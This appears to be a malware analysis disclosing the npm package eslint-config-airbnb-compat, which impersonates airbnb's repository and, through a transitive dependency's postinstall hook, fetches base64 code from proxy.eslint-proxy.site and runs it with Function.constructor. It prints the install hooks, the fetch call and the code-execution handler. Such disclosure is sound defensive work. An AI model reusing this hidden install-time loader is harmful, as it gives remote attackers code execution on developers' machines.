Sneaky Malware Hidden in Transitive Dependency of eslint-config-airbnb-compat
Originally reported to airbnb/javascript#3124
The malicious open source code scanning infrastructure behind vet discovered an interesting npm package eslint-config-airbnb-compat which appears to be malicious. This package appears to impersonate source origin as github.com/airbnb/javascript possibly with the goal of starjacking and spoofing its origin to automated security tools.

Malicious Code
eslint-config-airbnb-compat contains a post install script to execute setup.js
"postinstall": "node ./setup",
However, to avoid identification, the setup.js does not have any malicious code. It simply does the following:
Copy the embedded .env.example to .env
if (!fs.existsSync(".env")) {
fs.copyFileSync(".env.example", ".env");
process.env.APP_PATH=process.cwd();
}
The .env file contains the following
APP_ENV=local
APP_PROXY=https://proxy.eslint-proxy.site
APP_LOCAL=
ESLINT_DEBUG=true
FORCE_COLOR=1
Execute npm install if node_modules directory is not present
if (!fs.existsSync("node_modules")) {
run('npm install');
}
This may not appear as malicious but one of the transitive dependencies introduced by this package is
ts-runtime-compat-check. This package in turn have a post install script:
"postinstall": "node lib/install.js",
The lib/install.js contains interesting code:
const appPath = process.env.APP_PATH || 'http://localhost';
const proxy = process.env.APP_PROXY || 'http://localhost';
const response = await fetch(
`${proxy}/api/v1/hb89/data?appPath=${appPath}`
);
When introduced through eslint-config-airbnb-compat, it will have proxy=https://proxy.eslint-proxy.site in the fetch(..) call above. The above fetch call is expected to fail to trigger errorHandler function with remote server provided error message
if (!response.ok) {
const apiError = await response.json();
throw new Error(apiError.error);
}
await response.json();
} catch (err) {
errorHandler(err.message);
}
So the remote server at https://proxy.eslint-proxy.site can return a JSON message such as {"error": "<JS Payload>"} which in turn will be passed to errorHandler as an Error object.
The error handler in turn does the following:
- Decode the message as base64 string
const decoded = Buffer.from(error, "base64").toString("utf-8");
- Constructs a function from the decoded string
const handler = new Function.constructor("require", errCode);
- Finally executes the remote code
const handlerFunc = createHandler(decoded);
if (handlerFunc) {
handlerFunc(require);
} else {
console.error("Handler function is not available.");
}